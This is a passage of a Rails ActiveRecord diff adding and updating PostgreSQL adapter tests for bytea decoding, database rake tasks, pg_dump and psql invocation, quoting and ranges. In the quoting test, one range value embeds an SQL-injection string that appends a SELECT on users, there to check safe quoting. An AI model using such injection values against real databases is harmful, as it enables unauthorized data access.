+        decoded = "\\x48656c6c6f".b
+        decoded.instance_variable_set(:@ar_pg_bytea_decoded, true)
+
+        result = type.deserialize(decoded)
+        assert_equal "\\x48656c6c6f", result  # Should stay as-is, not become "Hello"
+        assert_equal Encoding::BINARY, result.encoding
+        assert_not result.instance_variable_defined?(:@ar_pg_bytea_decoded)
+      end
+
+      def test_bytea_marked_false_decodes_without_warning
+        type = ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bytea.new
+
+        encoded = "\\x48656c6c6f".b
+        encoded.instance_variable_set(:@ar_pg_bytea_decoded, false)
+
+        result = type.deserialize(encoded)
+        assert_equal "Hello", result
+        assert_equal Encoding::BINARY, result.encoding
+        assert_not result.instance_variable_defined?(:@ar_pg_bytea_decoded)
+      end
+
+      def test_bytea_binary_data_marker_removed
+        type = ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bytea.new
+
+        marked = "\\x48656c6c6f".b
+        marked.instance_variable_set(:@ar_pg_bytea_decoded, true)
+        data = ActiveModel::Type::Binary::Data.new(marked)
+
+        result = type.deserialize(data)
+        assert_equal "\\x48656c6c6f", result  # Should stay as-is, not become "Hello"
+        assert_not result.instance_variable_defined?(:@ar_pg_bytea_decoded)
+      end
+
+      def test_disable_extension_with_schema
+        @connection.execute("CREATE SCHEMA custom_schema")
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+        @connection.execute("CREATE EXTENSION hstore SCHEMA custom_schema")
+        result = @connection.select_values("SELECT extname FROM pg_extension WHERE extnamespace = (SELECT oid FROM pg_namespace WHERE nspname = 'custom_schema')")
+        assert_equal ["hstore"], result
+
+        @connection.disable_extension "custom_schema.hstore"
+        result = @connection.select_values("SELECT extname FROM pg_extension WHERE extnamespace = (SELECT oid FROM pg_namespace WHERE nspname = 'custom_schema')")
+        assert_equal [], result
+      ensure
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+        @connection.execute("DROP SCHEMA IF EXISTS custom_schema CASCADE")
+      end
+
+      def test_disable_extension_without_schema
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+        @connection.execute("CREATE EXTENSION hstore")
+        result = @connection.select_values("SELECT extname FROM pg_extension")
+        assert_includes result, "hstore"
+
+        @connection.disable_extension "hstore"
+        result = @connection.select_values("SELECT extname FROM pg_extension")
+        assert_not_includes result, "hstore"
+      ensure
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+      end
+
       private
+        def with_postgresql_apdater_decode_dates
+          PostgreSQLAdapter.decode_dates = true
+          yield
+        ensure
+          PostgreSQLAdapter.decode_dates = false
+        end
 
         def with_example_table(definition = "id serial primary key, number integer, data character varying(255)", &block)
           super(@connection, "ex", definition, &block)
         end
 
         def connection_without_insert_returning
-          ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations["arunit"].merge(insert_returning: false))
+          db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+          ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash.merge(insert_returning: false))
         end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb
new file mode 100644
index 0000000000000..24dc8aee1922b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb
@@ -0,0 +1,637 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+module ActiveRecord
+  class PostgreSQLDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def create_database(*); end }.new
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [{ adapter: "postgresql", database: "postgres", schema_search_path: "public" }])
+      mock.expect(:call, nil, [db_config])
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.create(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    def test_creates_database_with_default_encoding
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :create_database,
+          ["my-app-db", @configuration.symbolize_keys.merge(encoding: "utf8")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
+    end
+
+    def test_creates_database_with_given_encoding
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :create_database,
+          ["my-app-db", @configuration.symbolize_keys.merge(encoding: "latin")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+            merge("encoding" => "latin")
+        end
+      end
+    end
+
+    def test_creates_database_with_given_collation_and_ctype
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :create_database,
+          [
+            "my-app-db",
+            @configuration.symbolize_keys.merge(
+              encoding: "utf8",
+              collation: "ja_JP.UTF8",
+              ctype: "ja_JP.UTF8"
+            )
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+            merge("collation" => "ja_JP.UTF8", "ctype" => "ja_JP.UTF8")
+        end
+      end
+    end
+
+    def test_establishes_connection_to_new_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [{ adapter: "postgresql", database: "postgres", schema_search_path: "public" }])
+      mock.expect(:call, nil, [db_config])
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.create(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    def test_db_create_with_error_prints_message
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        ActiveRecord::Base.stub(:establish_connection, -> * { raise Exception }) do
+          assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration }
+          assert_match "Couldn't create '#{@configuration['database']}' database. Please check your configuration.", $stderr.string
+        end
+      end
+    end
+
+    def test_when_database_created_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Created database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    def test_create_when_database_exists_outputs_info_to_stderr
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Base.lease_connection.stub(
+          :create_database,
+          proc { raise ActiveRecord::DatabaseAlreadyExists }
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+          assert_equal "Database 'my-app-db' already exists\n", $stderr.string
+        end
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:lease_connection, @connection) do
+          ActiveRecord::Base.stub(:establish_connection, nil, &block)
+        end
+      end
+  end
+
+  class PostgreSQLDBDropTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def drop_database(*); end }.new
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called_with(
+          ActiveRecord::Base,
+          :establish_connection,
+          [
+            adapter: "postgresql",
+            database: "postgres",
+            schema_search_path: "public"
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+        end
+      end
+    end
+
+    def test_drops_database
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :drop_database,
+          ["my-app-db"]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+        end
+      end
+    end
+
+    def test_when_database_dropped_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+
+        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:lease_connection, @connection) do
+          ActiveRecord::Base.stub(:establish_connection, nil, &block)
+        end
+      end
+  end
+
+  class PostgreSQLPurgeTest < ActiveRecord::TestCase
+    def setup
+      @connection = Class.new do
+        def create_database(*); end
+        def drop_database(*); end
+      end.new
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_clears_active_connections
+      with_stubbed_connection do
+        ActiveRecord::Base.connection_handler.stub(:establish_connection, nil) do
+          assert_called(ActiveRecord::Base.connection_handler, :clear_active_connections!) do
+            ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+          end
+        end
+      end
+    end
+
+    def test_establishes_connection_to_postgresql_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [{ adapter: "postgresql", database: "postgres", schema_search_path: "public" }])
+      mock.expect(:call, nil, [db_config])
+
+      with_stubbed_connection do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    def test_drops_database
+      with_stubbed_connection do
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          assert_called_with(@connection, :drop_database, ["my-app-db"]) do
+            ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+          end
+        end
+      end
+    end
+
+    def test_creates_database
+      with_stubbed_connection do
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          assert_called_with(
+            @connection,
+            :create_database,
+            ["my-app-db", @configuration.symbolize_keys.merge(encoding: "utf8")]
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+          end
+        end
+      end
+    end
+
+    def test_establishes_connection
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [{ adapter: "postgresql", database: "postgres", schema_search_path: "public" }])
+      mock.expect(:call, nil, [db_config])
+
+      with_stubbed_connection do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    private
+      def with_stubbed_connection(&block)
+        ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+      end
+  end
+
+  class PostgreSQLDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @connection = Class.new do
+        def create_database(*); end
+        def encoding; end
+      end.new
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_charset
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :encoding) do
+          ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+        end
+      end
+    end
+  end
+
+  class PostgreSQLDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def collation; end }.new
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_collation
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :collation) do
+          ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+        end
+      end
+    end
+  end
+
+  class PostgreSQLStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+      @filename = "/tmp/awesome-file.sql"
+      FileUtils.touch(@filename)
+    end
+
+    def teardown
+      FileUtils.rm_f(@filename)
+    end
+
+    # This test actually runs a dump so we can ensure all the arguments are parsed correctly.
+    # All other tests in this class just mock the call (using assert_called_with) to make the tests quicker.
+    def test_structure_dump
+      assert_equal "", File.read(@filename)
+
+      config = @configuration.dup
+      config["database"] = ARTest.config["connections"]["postgresql"]["arunit"]["database"]
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(config, @filename)
+
+      assert File.read(@filename).include?("PostgreSQL database dump complete")
+    end
+
+    def test_structure_dump_header_comments_removed
+      Kernel.stub(:system, true) do
+        raw_dump_sql = <<~SQL
+          -- header comment
+
+          -- more header comment
+          statement
+          -- lower comment
+        SQL
+        expected_dump_sql = <<~SQL
+          statement
+          -- lower comment
+        SQL
+        File.write(@filename, raw_dump_sql)
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        assert_equal expected_dump_sql, File.readlines(@filename).first(2).join
+      end
+    end
+
+    def test_structure_dump_header_comments_with_restrict_commands_removed
+      Kernel.stub(:system, true) do
+        raw_dump_sql = <<~SQL
+          \\restrict pbgv1pF8SxQK6cuT7hwDi21uDYr8wpxKJ3wlLa9Zk5EIO1xBiu84SJQU8fL22PT
+
+          -- header comment
+
+          -- more header comment
+          statement
+          -- lower comment
+          \\unrestrict pbgv1pF8SxQK6cuT7hwDi21uDYr8wpxKJ3wlLa9Zk5EIO1xBiu84SJQU8fL22PT
+
+          other_statement
+        SQL
+        expected_dump_sql = <<~SQL
+          statement
+          -- lower comment
+          other_statement
+        SQL
+        File.write(@filename, raw_dump_sql)
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        assert_equal expected_dump_sql, File.readlines(@filename).first(3).join
+      end
+    end
+
+    def test_structure_dump_with_env
+      expected_env = { "PGHOST" => "my.server.tld", "PGPORT" => "2345", "PGUSER" => "jane", "PGPASSWORD" => "s3cr3t" }
+      expected_command = [expected_env, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "my-app-db"]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge(host: "my.server.tld", port: 2345, username: "jane", password: "s3cr3t"),
+          @filename
+        )
+      end
+    end
+
+    def test_structure_dump_with_ssl_env
+      expected_env = { "PGSSLMODE" => "verify-full", "PGSSLCERT" => "client.crt", "PGSSLKEY" => "client.key", "PGSSLROOTCERT" => "root.crt" }
+      expected_command = [expected_env, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "my-app-db"]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge(sslmode: "verify-full", sslcert: "client.crt", sslkey: "client.key", sslrootcert: "root.crt"),
+          @filename
+        )
+      end
+    end
+
+    def test_structure_dump_with_extra_flags
+      expected_command = [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "--noop", "my-app-db"]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_a_different_driver
+      expected_command = [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "my-app-db"]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ mysql2: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_the_correct_driver
+      expected_command = [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "--noop", "my-app-db"]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_ignore_tables
+      ActiveRecord::Base.lease_connection.stub(:data_sources, ["foo", "bar", "prefix_foo", "ignored_foo"]) do
+        ActiveRecord::SchemaDumper.stub(:ignore_tables, [/^prefix_/, "ignored_foo"]) do
+          assert_called_with(
+            Kernel,
+            :system,
+            [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "-T", "prefix_foo", "-T", "ignored_foo", "my-app-db"],
+            returns: true
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+          end
+        end
+      end
+    end
+
+    def test_structure_dump_with_schema_search_path
+      @configuration["schema_search_path"] = "foo,bar"
+
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "--schema=foo", "--schema=bar", "my-app-db"],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+      end
+    end
+
+    def test_structure_dump_with_schema_search_path_and_dump_schemas_all
+      @configuration["schema_search_path"] = "foo,bar"
+
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename,  "my-app-db"],
+        returns: true
+      ) do
+        with_dump_schemas(:all) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_dump_schemas_string
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", @filename, "--schema=foo", "--schema=bar", "my-app-db"],
+        returns: true
+      ) do
+        with_dump_schemas("foo,bar") do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
+        end
+      end
+    end
+
+    def test_structure_dump_execution_fails
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "pg_dump", "--schema-only", "--no-privileges", "--no-owner", "--file", filename, "my-app-db"],
+        returns: nil
+      ) do
+        e = assert_raise(RuntimeError) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+        assert_match("failed to execute:", e.message)
+      end
+    end
+
+    private
+      def with_dump_schemas(value, &block)
+        old_dump_schemas = ActiveRecord.dump_schemas
+        ActiveRecord.dump_schemas = value
+        yield
+      ensure
+        ActiveRecord.dump_schemas = old_dump_schemas
+      end
+
+      def with_structure_dump_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+      end
+  end
+
+  class PostgreSQLStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "postgresql",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_structure_load
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--file", filename, @configuration["database"]],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+      end
+    end
+
+    def test_structure_load_with_extra_flags
+      filename = "awesome-file.sql"
+      expected_command = [{}, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--noop", "--file", filename, @configuration["database"]]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_env
+      filename = "awesome-file.sql"
+      expected_env = { "PGHOST" => "my.server.tld", "PGPORT" => "2345", "PGUSER" => "jane", "PGPASSWORD" => "s3cr3t" }
+      expected_command = [expected_env, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--noop", "--file", filename, @configuration["database"]]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(
+            @configuration.merge(host: "my.server.tld", port: 2345, username: "jane", password: "s3cr3t"),
+            filename
+          )
+        end
+      end
+    end
+
+    def test_structure_load_with_ssl_env
+      filename = "awesome-file.sql"
+      expected_env = { "PGSSLMODE" => "verify-full", "PGSSLCERT" => "client.crt", "PGSSLKEY" => "client.key", "PGSSLROOTCERT" => "root.crt" }
+      expected_command = [expected_env, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--noop", "--file", filename, @configuration["database"]]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(
+            @configuration.merge(sslmode: "verify-full", sslcert: "client.crt", sslkey: "client.key", sslrootcert: "root.crt"),
+            filename
+          )
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_a_different_driver
+      filename = "awesome-file.sql"
+      expected_command = [{}, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--file", filename, @configuration["database"]]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ mysql2: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_the_correct_driver
+      filename = "awesome-file.sql"
+      expected_command = [{}, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--noop", "--file", filename, @configuration["database"]]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_accepts_path_with_spaces
+      filename = "awesome file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        [{}, "psql", "--set", "ON_ERROR_STOP=1", "--quiet", "--no-psqlrc", "--output", File::NULL, "--file", filename, @configuration["database"]],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+      end
+    end
+
+    private
+      def with_structure_load_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb b/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb
index 8c62690866858..8702f7738e308 100644
--- a/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/computer"
 require "models/developer"
@@ -15,7 +17,7 @@ def teardown
   end
 
   def test_select_query_works_even_when_prepared_statements_are_disabled
-    assert_not Developer.connection.prepared_statements
+    assert_not Developer.lease_connection.prepared_statements
 
     david = developers(:david)
 
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index 141baffa5b445..c4f2362271e20 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -1,20 +1,22 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "ipaddr"
 
 module ActiveRecord
   module ConnectionAdapters
     class PostgreSQLAdapter
       class QuotingTest < ActiveRecord::PostgreSQLTestCase
         def setup
-          @conn = ActiveRecord::Base.connection
+          @conn = ActiveRecord::Base.lease_connection
+          @raise_int_wider_than_64bit = ActiveRecord.raise_int_wider_than_64bit
         end
 
         def test_type_cast_true
-          assert_equal "t", @conn.type_cast(true)
+          assert_equal true, @conn.type_cast(true)
         end
 
         def test_type_cast_false
-          assert_equal "f", @conn.type_cast(false)
+          assert_equal false, @conn.type_cast(false)
         end
 
         def test_quote_float_nan
@@ -27,6 +29,18 @@ def test_quote_float_infinity
           assert_equal "'Infinity'", @conn.quote(infinity)
         end
 
+        def test_quote_integer
+          assert_equal "42", @conn.quote(42)
+        end
+
+        def test_quote_big_decimal
+          assert_equal "4.2", @conn.quote(BigDecimal("4.2"))
+        end
+
+        def test_quote_rational
+          assert_equal "3/4", @conn.quote(Rational(3, 4))
+        end
+
         def test_quote_range
           range = "1,2]'; SELECT * FROM users; --".."a"
           type = OID::Range.new(Type::Integer.new, :int8range)
@@ -38,6 +52,57 @@ def test_quote_bit_string
           type = OID::Bit.new
           assert_nil @conn.quote(type.serialize(value))
         end
+
+        def test_quote_table_name_with_spaces
+          value = "user posts"
+          assert_equal "\"user posts\"", @conn.quote_table_name(value)
+        end
+
+        def test_quote_string
+          assert_equal "''", @conn.quote_string("'")
+        end
+
+        def test_quote_column_name
+          [@conn, @conn.class].each do |adapter|
+            assert_equal '"foo"', adapter.quote_column_name("foo")
+            assert_equal '"hel""lo"', adapter.quote_column_name(%{hel"lo})
+          end
+        end
+
+        def test_quote_table_name
+          [@conn, @conn.class].each do |adapter|
+            assert_equal '"foo"', adapter.quote_table_name("foo")
+            assert_equal '"foo"."bar"', adapter.quote_table_name("foo.bar")
+            assert_equal '"hel""lo.wol\\d"', adapter.quote_column_name('hel"lo.wol\\d')
+          end
+        end
+
+        def test_raise_when_int_is_wider_than_64bit
+          value = 9223372036854775807 + 1
+          assert_raise ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting::IntegerOutOf64BitRange do
+            @conn.quote(value)
+          end
+
+          value = -9223372036854775808 - 1
+          assert_raise ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting::IntegerOutOf64BitRange do
+            @conn.quote(value)
+          end
+        end
+
+        def test_do_not_raise_when_int_is_not_wider_than_64bit
+          value = 9223372036854775807
+          assert_equal "9223372036854775807", @conn.quote(value)
+
+          value = -9223372036854775808
+          assert_equal "-9223372036854775808", @conn.quote(value)
+        end
+
+        def test_do_not_raise_when_raise_int_wider_than_64bit_is_false
+          ActiveRecord.raise_int_wider_than_64bit = false
+          value = 9223372036854775807 + 1
+          assert_equal "9223372036854775808", @conn.quote(value)
+          ActiveRecord.raise_int_wider_than_64bit = @raise_int_wider_than_64bit
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
index f411884dfd169..7a0a708a0da68 100644
--- a/activerecord/test/cases/adapters/postgresql/range_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -1,349 +1,649 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
-if ActiveRecord::Base.connection.respond_to?(:supports_ranges?) && ActiveRecord::Base.connection.supports_ranges?
-  class PostgresqlRange < ActiveRecord::Base
-    self.table_name = "postgresql_ranges"
-    self.time_zone_aware_types += [:tsrange, :tstzrange]
-  end
-
-  class PostgresqlRangeTest < ActiveRecord::PostgreSQLTestCase
-    self.use_transactional_tests = false
-    include ConnectionHelper
-    include InTimeZone
-
-    def setup
-      @connection = PostgresqlRange.connection
-      begin
-        @connection.transaction do
-          @connection.execute <<_SQL
-            CREATE TYPE floatrange AS RANGE (
-                subtype = float8,
-                subtype_diff = float8mi
-            );
-_SQL
-
-          @connection.create_table("postgresql_ranges") do |t|
-            t.daterange :date_range
-            t.numrange :num_range
-            t.tsrange :ts_range
-            t.tstzrange :tstz_range
-            t.int4range :int4_range
-            t.int8range :int8_range
-          end
-
-          @connection.add_column "postgresql_ranges", "float_range", "floatrange"
-        end
-        PostgresqlRange.reset_column_information
-      rescue ActiveRecord::StatementInvalid
-        skip "do not test on PG without range"
+class PostgresqlRange < ActiveRecord::Base
+  self.table_name = "postgresql_ranges"
+  self.time_zone_aware_types += [:tsrange, :tstzrange]
+end
+
+class PostgresqlRangeTest < ActiveRecord::PostgreSQLTestCase
+  include ConnectionHelper
+  include InTimeZone
+
+  def setup
+    @connection = PostgresqlRange.lease_connection
+    @connection.transaction do
+      @connection.execute <<~SQL
+        CREATE TYPE floatrange AS RANGE (
+            subtype = float8,
+            subtype_diff = float8mi
+        );
+
+        CREATE TYPE stringrange AS RANGE (
+            subtype = varchar
+        );
+      SQL
+
+      @connection.create_table("postgresql_ranges") do |t|
+        t.daterange :date_range
+        t.numrange  :num_range
+        t.tsrange   :ts_range
+        t.tsrange   :ts_ranges, array: true
+        t.tstzrange :tstz_range
+        t.tstzrange :tstz_ranges, array: true
+        t.int4range :int4_range
+        t.int8range :int8_range
       end
 
-      insert_range(id: 101,
-                   date_range: "[''2012-01-02'', ''2012-01-04'']",
-                   num_range: "[0.1, 0.2]",
-                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
-                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
-                   int4_range: "[1, 10]",
-                   int8_range: "[10, 100]",
-                   float_range: "[0.5, 0.7]")
-
-      insert_range(id: 102,
-                   date_range: "[''2012-01-02'', ''2012-01-04'')",
-                   num_range: "[0.1, 0.2)",
-                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
